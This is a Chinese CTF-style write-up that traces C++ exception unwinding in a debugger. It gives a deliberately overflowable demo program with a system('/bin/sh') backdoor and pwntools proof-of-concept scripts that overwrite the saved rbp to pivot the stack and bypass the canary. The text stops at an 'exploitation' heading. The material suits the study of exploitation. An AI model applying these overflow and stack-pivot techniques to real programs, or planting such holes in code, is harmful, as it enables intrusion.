C++异常处理机制探究
介绍
在 CTF 赛题里,考察 C++ 异常处理并不稀奇,命中点多半出在异常展开(栈回退)阶段的控制流。本篇将沿着 throw → 处理器搜索 → 清理回退(cleanup) → 进入 handler 的流程,把运行库与编译器生成代码如何协同拆解分析,并结合常见漏洞(如劫控制流、栈迁移 、Canary校验绕过)示范可利用的打点思路。
调试分析
调试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
|
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h>
struct scope_log { const char* tag; scope_log(const char* t) : tag(t) { printf("[enter] %s\n", tag); } ~scope_log() noexcept { printf("[leave] %s\n", tag); } };
static void echo_and_check() { scope_log g("echo_and_check");
char small[16] = {0}; char big[256] = {0};
write(1, "input> ", 7); ssize_t n = read(0, big, 0x200); if (n < 0) { perror("read"); throw "io_error"; }
if (n > 0 && big[n - 1] == '\n') { big[--n] = 0; }
if ((size_t)n > sizeof(small) - 1) { throw "too_long"; }
memcpy(small, big, (size_t)n); small[n] = 0;
printf("[ok] got(%zd): \"%s\"\n", n, small); }
void backdoor() { try { printf("Congratulations on learning c++ exception handling "); } catch (const char *s) { printf("catched the exception: %s\n", s); printf("Start executing backdoor functions"); system("/bin/sh"); } }
int main() { try { scope_log g("main"); echo_and_check(); puts("--- fence ---"); throw 7; } catch (const char* s) { printf("[caught const char*] %s\n", s); } catch (int v) { printf("[caught int] %d\n", v); }
puts("[done]"); return 0; }
|
异常处理流程探究
程序主要在输入触发异常,然后程序进行异常处理。我们先研究一下异常处理流程。
下面是测试POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
""" Basic PWN Template - basis Template Author: p0ach1l Date: 2025-09-12 description: no description """
from pwn import * from ctypes import * from LibcSearcher import * from pwnscript import *
filename = "./advanced_exceptions" url = '' gdbscript = ''' b * 0x40152D b * 0x4015C4 ''' set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5) p = pr(url=url , filename=filename , gdbscript=gdbscript , framepath='') elf = ELF(filename)
payload = cyclic(0x120 , n = 8) p.sendafter("input> " , payload)
p.interactive()
|
我们发送0x120个字节,触发异常条件,程序会捕捉到异常,然后调用throw抛出异常

接着我们步入到throw函数中,运行到__cxa_throw+54,发现调用了_Unwind_RaiseException。
_Unwind_RaiseException这个函数主要作用有两部分:
Phase 1:搜索处理器,但是不改变栈帧。
- 有无可匹配的
catch
- 该帧是否需要跑 cleanup(仅清理、不接异常)
Phase 2:实际展开,回退栈
- 遇到有 cleanup 的帧 → 跳到该帧的 cleanup landing pad 执行析构等,然后由生成代码调用
__Unwind_Resume 继续展开;
- 到达匹配的 catch landing pad → 把控制权交给你的
catch 代码,展开结束。

我们步入到_Unwind_RaiseException函数内部,一直调试到最后阶段,发现rsp , rbp进行了回退,恢复成抛出异常的函数

然后跳转到rcx,我们在ida中定位一下,是抛出异常函数的cleanup,会调用构析函数,然后调用_Unwind_Resume

我们再跟进_Unwind_Resume函数,看看这个函数干了那些事情,经过调试发现,又进行了回退栈帧

我们继续ida跟着rcx,指向析构函数。跳转到catch模块去匹配参数,如果成功匹配,跳转到对应的处理模块进行处理,如果没有匹配成功,继续执行_Unwind_Resume,向上抛出异常,进行栈回退

修改rbp的影响
我们把上面的demo的main函数中的scope_log进行注释,目的就是让main函数没有canary插入,而echo_and_check函数有
下面是测试POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
|
""" Basic PWN Template - basis Template Author: p0ach1l Date: 2025-09-12 description: no description """
from pwn import * from ctypes import * from LibcSearcher import * from pwnscript import *
filename = "./advanced_exceptions" url = '' gdbscript = ''' b * 0x40152D b * 0x4015C4 ''' set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5) p = pr(url=url , filename=filename , gdbscript=gdbscript , framepath='') elf = ELF(filename)
bss_addr = 0x00000000004040A8
payload = cyclic(0x120 , n = 8) + p64(bss_addr) p.sendafter("input> " , payload)
p.interactive()
|
还是和上面分析的一样,我们直接跟踪到进行栈回退操作_Unwind_Resume,步入函数,调试最后进行栈回退,我们发现rbp因为我们已经修改过,进行回退的时候,就会回退到我们修改的rbp

然后我们继续执行main函数中异常处理快,之后main函数会正常返回会执行一个leave ret,这样就完成了一个栈迁移操作,可以类似的认为,栈回退相当于执行了一次leave ret,加上函数自身的leave ret,即可完成栈迁移。

漏洞利用
nepctf